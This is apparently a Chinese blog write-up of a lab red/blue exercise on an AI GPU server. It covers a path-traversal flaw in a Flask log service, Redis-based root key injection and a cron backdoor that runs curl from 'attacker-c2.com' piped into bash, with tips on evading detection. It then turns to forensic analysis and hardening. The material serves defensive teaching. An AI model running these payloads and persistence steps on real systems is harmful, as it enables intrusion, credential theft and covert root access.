
1. 项目概述一次源于实战的AI服务器攻防演练最近在内部做了一次红蓝对抗演练目标是一台部署了主流AI框架的GPU服务器。这类服务器现在越来越常见跑着大模型训练、推理服务数据金贵权限也高自然成了攻防演练的重点对象。演练的核心就是围绕一个编号为CVE-2025-3248的漏洞展开。这个漏洞本身并不复杂但它的利用链和后续在服务器上留下的“痕迹”却非常典型完美串联起了漏洞利用、权限提升、痕迹隐藏和事后取证分析这一整套流程。与其说这是一次漏洞复现不如说是一次完整的“攻击者视角”入侵与“防御者视角”取证的实战推演。对于负责AI平台安全、服务器运维或者对渗透测试和数字取证感兴趣的朋友来说这个案例的细节很有嚼头。今天我就把手头的操作记录、截图和思考过程整理出来带你从头到尾走一遍看看攻击者是怎么悄无声息地摸进来的而我们作为防御方又该如何从一片狼藉中找出线索拼凑出完整的攻击故事。2. 靶场环境与漏洞背景深度解析2.1 靶机环境搭建与核心服务剖析这次演练的靶机是一台标准的AI开发服务器配置了Ubuntu 22.04 LTS系统搭载了NVIDIA A100显卡并安装了完整的CUDA和PyTorch环境。但漏洞的根源并不在这些AI组件本身而在于一个用于管理和监控AI任务的服务——我们姑且称之为“AITaskScheduler”。这是一个用Python Flask框架编写的Web服务运行在8000端口主要功能是允许研究人员提交训练任务、查看GPU资源占用和下载训练日志。服务以www-data用户权限运行这为后续的权限提升埋下了伏笔。这个服务有一个关键的API接口/api/v1/task/log用于根据任务ID下载日志文件。其最初的、存在漏洞的代码逻辑大致如下app.route(/api/v1/task/log, methods[GET]) def download_log(): task_id request.args.get(id) if not task_id: return Task ID required, 400 # 漏洞点未对用户输入的task_id进行任何过滤或校验 log_file_path f/var/log/aitasks/{task_id}.log # 直接使用send_file发送文件 return send_file(log_file_path, as_attachmentTrue)这段代码的问题一目了然它直接信任了用户传入的task_id参数并将其拼接进文件路径然后通过send_file函数返回。这就是一个典型的**路径遍历Path Traversal**漏洞也叫目录穿越漏洞。攻击者可以通过构造特殊的task_id值如../../../../etc/passwd让服务读取并返回服务器上任意文件的内容。2.2 CVE-2025-3248漏洞原理与影响范围CVE-2025-3248正是针对上述AITaskScheduler服务中/api/v1/task/log接口的路径遍历漏洞分配的编号。其CVSS评分预计在7.5高危左右主要危害在于未授权读取服务器敏感文件。漏洞利用原理Flask的send_file函数在接收到一个路径字符串时会尝试打开该路径指向的文件。当task_id被恶意构造为../../../etc/passwd时拼接后的路径就变成了/var/log/aitasks/../../../etc/passwd。在Linux系统中..表示上级目录经过路径规范化后实际访问的就是/etc/passwd文件。攻击者借此可以读取系统密码文件、应用程序配置文件、私钥、源代码等任何运行用户有权读取的文件。影响范围所有使用了存在漏洞版本AITaskScheduler服务版本号早于1.2.3的AI服务器或计算平台。由于这类服务常被部署在内网面向内部研究人员其安全性容易被忽视使得漏洞危害性加剧。注意在实际渗透测试中绝对禁止对非授权目标进行此类漏洞探测和利用。本次所有操作均在完全隔离的、自建的靶机环境中进行。3. 漏洞利用链的实战拆解与权限获取3.1 信息收集与漏洞初步验证攻击的第一步永远是信息收集。使用nmap对目标服务器进行端口扫描发现了开放的8000端口和对应的AITaskScheduler服务横幅。nmap -sV -p 8000 192.168.1.100发现服务后直接访问Web界面通过浏览器开发者工具查看网络请求很快定位到/api/v1/task/log这个接口。手动在浏览器地址栏尝试访问http://192.168.1.100:8000/api/v1/task/log?id../../../../etc/passwd如果页面返回了/etc/passwd文件的内容那么漏洞就确认存在了。这是最直接的验证方式。实操心得对于这类文件读取漏洞不要一上来就读/etc/passwd太显眼。可以先尝试读取/proc/self/cwd/../requirements.txt或者服务自身的日志文件/var/log/aitasks/../aitask_scheduler.log这些文件同样能证明漏洞存在但行为相对隐蔽可能绕过一些简单的异常检测规则。3.2 敏感信息提取与攻击面扩大确认漏洞后就可以开始系统地读取敏感文件为下一步攻击做准备。目标是获取能帮助提升权限或横向移动的信息。获取系统信息读取/etc/passwd了解系统用户读取/proc/version了解内核版本。获取服务配置尝试读取/etc/aitask_scheduler/config.yaml或应用目录下的config.py、.env文件。这次很幸运读到了数据库连接字符串和一段硬编码的Redis密码。寻找密钥文件尝试读取/home/*/.ssh/id_rsa用户SSH私钥、/root/.ssh/authorized_keys。这次在/home/researcher/.ssh/目录下找到了可读的私钥文件。探查进程与环境读取/proc/self/environ可以获取当前Web进程的环境变量有时会泄露密钥、访问令牌等。通过读取到的Redis密码我们成功连接上了服务器上的Redis服务发现Redis以root权限运行且未设置认证虽然我们拿到了密码但实际测试发现它允许空密码连接。这成为了权限提升的关键跳板。3.3 权限提升与持久化后门部署利用Redis未授权访问或弱密码漏洞可以向服务器写入文件。因为Redis服务是root权限所以写入的文件也是root所有。一个经典的技巧是利用Redis的CONFIG SET dir和CONFIG SET dbfilename命令改变其持久化路径和文件名然后将SSH公钥写入/root/.ssh/authorized_keys从而实现SSH免密登录root。具体操作步骤如下# 1. 连接Redis redis-cli -h 192.168.1.100 # 2. 设置RDB文件保存目录为/root/.ssh/ 192.168.1.100:6379 CONFIG SET dir /root/.ssh/ # 3. 设置RDB文件名为authorized_keys 192.168.1.100:6379 CONFIG SET dbfilename authorized_keys # 4. 将自己的公钥设置为Redis中的一个键值对。注意公钥内容需要换行需用双引号包裹并手动输入换行符或者通过管道导入。 # 先在本地准备好公钥文件pub.txt内容以换行符结尾。 cat pub.txt | redis-cli -h 192.168.1.100 -x set crackit # 5. 保存数据到文件触发RDB持久化 192.168.1.100:6379 save执行成功后就可以用对应的私钥直接SSH登录root用户了ssh -i id_rsa root192.168.1.100至此我们已经获得了服务器的最高权限。持久化为了维持访问除了SSH密钥还可以部署一个简单的定时任务后门。例如在/etc/cron.hourly/下创建一个脚本每小时从远程C2服务器下载并执行命令。echo curl -s http://attacker-c2.com/shell.sh | bash /etc/cron.hourly/cleanup chmod x /etc/cron.hourly/cleanup注意事项在真实的对抗中高明的攻击者会使用更隐蔽的持久化方式如修改动态链接库、植入Rootkit、或者利用系统dll劫持等这些方式更难被常规排查发现。4. 防御视角下的入侵痕迹分析与取证攻击完成后我们切换角色假设自己是应急响应人员接到报警说服务器可能被入侵现在需要开始取证分析找出攻击者做了什么。我们不会使用攻击时已知的信息而是从头开始分析。4.1 现场保全与易失性数据收集取证的第一步是“保护现场”尽可能减少对系统的改动。如果条件允许应该对内存和磁盘进行完整镜像。在本次演练中我们模拟在线取证。系统时间与用户登录记录date uptime last -a who -a cat /var/log/auth.log | grep -i accepted\|failed\|session opened检查是否有异常时间的登录、失败的登录尝试暴破记录、或者来自陌生IP的成功登录。我们发现了一条来自内网非常用IP的root用户SSH登录成功记录。网络连接与监听端口netstat -tulnp ss -tulnp lsof -i对比nmap扫描结果和系统当前监听端口查找异常进程。发现8000端口服务仍在运行但多了一个未知的/usr/sbin/sshd进程监听在高端口如5555这很可能是一个后门。进程列表与资源监控ps auxf top -b -n 1查看是否有异常进程、CPU/内存占用异常的进程。发现一个名为cleanup的进程其父进程是cron路径在/etc/cron.hourly/下看起来可疑。4.2 文件系统时间线分析与异常文件定位攻击者必然会创建、修改或删除文件。利用文件的时间戳属性进行排查是关键。查找最近修改的文件find / -type f -mtime -1 2/dev/null | head -50 find /etc/cron* -type f -mtime -1 find /root -type f -mtime -1这条命令找到了/etc/cron.hourly/cleanup和/root/.ssh/authorized_keys这两个在最近一天内被修改的文件。检查关键目录/root/.ssh/authorized_keys发现了一个不属于任何已知管理员的公钥。/etc/cron.hourly/,/etc/cron.daily/等发现了恶意的cleanup脚本。/tmp,/dev/shm常被用作临时文件存储检查是否有可疑的可执行文件或脚本。Web服务目录/var/www/或/opt/aitask_scheduler/检查是否有被上传的Webshell或配置文件被篡改。文件完整性校验如果系统之前有文件完整性监控如AIDE、Tripwire的基线可以快速比对出被篡改的系统文件。本次检查发现/usr/bin/netstat的哈希值不对怀疑被替换为隐藏网络连接的恶意版本。4.3 日志深度审计与攻击路径重建日志是还原攻击链的最重要依据。但攻击者通常会清理日志所以需要多角度关联分析。Web访问日志查看AITaskScheduler服务的访问日志假设在/var/log/aitask_scheduler/access.log。grep -E \(\.\./|etc/passwd|config|ssh|id_rsa)\ /var/log/aitask_scheduler/access.log这里发现了大量对/api/v1/task/log接口的请求参数包含../../../../etc/passwd、../../../../home/researcher/.ssh/id_rsa等清晰展示了路径遍历攻击的路径和读取的文件序列。Redis日志检查/var/log/redis/redis-server.log。grep -i config set\|save\|crackit /var/log/redis/redis-server.log发现了CONFIG SET dir、CONFIG SET dbfilename和SAVE命令的执行记录印证了通过Redis提权的手法。系统命令历史检查root和可疑用户如www-data的bash历史。攻击者可能忘了清理。cat /root/.bash_history sudo -u www-data cat /home/www-data/.bash_history在www-data的历史中发现了redis-cli的连接命令这极不寻常因为Web服务用户通常不会直接操作Redis。关联时间线将Web日志中读取私钥的时间、Redis日志中写入操作的时间、以及auth.log中异常SSH登录的时间点放在一条时间线上攻击链条就非常清晰了路径遍历读取私钥 - 利用私钥或Redis漏洞获取更高权限 - 写入SSH密钥实现root登录 - 部署持久化后门。5. 内存取证与深入痕迹挖掘对于高级攻击仅分析磁盘日志可能不够因为恶意进程可能只存在于内存中。这就需要用到内存取证工具如Volatility。5.1 内存镜像获取与分析环境搭建首先在受攻击的服务器上使用LiME或AVML等工具获取内存镜像假设文件为memdump.mem。将镜像文件拷贝到分析机安装Volatility 3。分析进程列表寻找隐藏进程vol.py -f memdump.mem linux.pslist除了常规进程我们发现了一个名为[kworker/u:2]的进程其PID和父进程关系异常这可能是用于隐藏恶意进程的常见内核线程伪装手法。5.2 网络连接与Bash历史的内存恢复攻击者即使清除了磁盘上的.bash_history其在内存中执行的命令可能仍有残留。提取内存中的Bash历史vol.py -f memdump.mem linux.bash这个插件可以恢复内存中仍在活动的bash会话的历史命令。我们从中恢复了攻击者执行过的redis-cli命令、find命令以及写入cron任务的echo命令这些是在磁盘历史记录中被清除的关键证据。检查内存中的网络连接vol.py -f memdump.mem linux.netstat确认了在netstat中看不到的、隐藏的到C2服务器假设IP为10.10.10.10的TCP连接以及监听在5555端口的后门sshd进程。扫描内存中的恶意代码可以使用linux.malfind插件寻找具有异常内存权限如可写可执行的进程内存区域这些区域可能存放着注入的shellcode。5.3 文件与密钥在内存中的缓存即使私钥文件被攻击者删除只要读取过该文件的进程如redis-server或sshd尚未终止其内容就可能残留在内存中。使用linux.filescan和linux.dump_file插件可以尝试扫描内存中的文件对象并提取。我们成功从内存中恢复了被攻击者删除的、原始的/root/.ssh/authorized_keys文件内容以及那个恶意的/etc/cron.hourly/cleanup脚本的完整内容其中包含了C2服务器的地址。取证心得内存取证是应对无文件攻击和高级擦除痕迹手段的利器。它提供的是一张系统在某个瞬间的“快照”这张快照里的许多信息是攻击者难以彻底清除的。将内存取证的结果与磁盘日志、文件系统分析的结果进行交叉验证往往能得到铁证如山的攻击证据链。6. 加固建议与事件响应总结复盘整个攻击和取证过程我们可以从防御角度得出以下几点关键的加固建议输入验证与过滤这是防止CVE-2025-3248这类漏洞的根本。对所有用户输入进行严格的校验和过滤。对于文件路径参数应该使用白名单机制只允许特定的、预期的文件名或ID格式。将用户输入与基础目录进行拼接后使用os.path.normpath()规范化路径然后检查规范化后的路径是否仍然以允许的基础目录开头。import os base_dir /var/log/aitasks/ user_input request.args.get(id) full_path os.path.join(base_dir, user_input) normalized_path os.path.normpath(full_path) if not normalized_path.startswith(base_dir): return Access denied, 403最小权限原则运行Web服务的用户如www-data应仅拥有其必要的最小权限。绝不应该能读取/etc/passwd或用户家目录下的文件。Redis、MySQL等中间件服务严禁使用root权限运行。应为它们创建专属的低权限用户和组。严格配置SSH禁止root用户直接登录使用密钥登录并设置强密码保护私钥。日志集中化与监控将服务器、应用、中间件的日志统一收集到安全的日志平台如ELK Stack。并配置实时告警规则例如Web日志中出现连续的../模式。Redis日志中出现CONFIG SET dir等危险命令。成功从陌生IP或非工作时间登录root。系统新增了cron任务或系统服务。定期漏洞扫描与更新对内部服务尤其是像AITaskScheduler这种可能被忽视的“边缘”服务应纳入漏洞扫描范围。保持所有软件和依赖库更新至最新版本。建立应急响应流程明确安全事件发生后的“三板斧”隔离断开网络防止扩散、取证按照上述流程收集证据、根除与恢复清除后门修复漏洞从备份恢复数据。并定期进行红蓝对抗演练检验防御和响应能力。这次从CVE-2025-3248漏洞利用到完整取证的演练像一次全流程的攻防沙盘推演。攻击路径清晰展示了一个小漏洞如何被串联起来形成重大突破而取证过程则像侦探破案需要耐心、细致和多源信息的关联分析。对于防守方而言真正的安全不在于堵住某一个漏洞而在于构建一个纵深防御体系并在被突破后有能力快速发现、响应和溯源。安全是一个持续的过程攻击者的工具和手法在进化我们的防御视角和技能也必须随之迭代。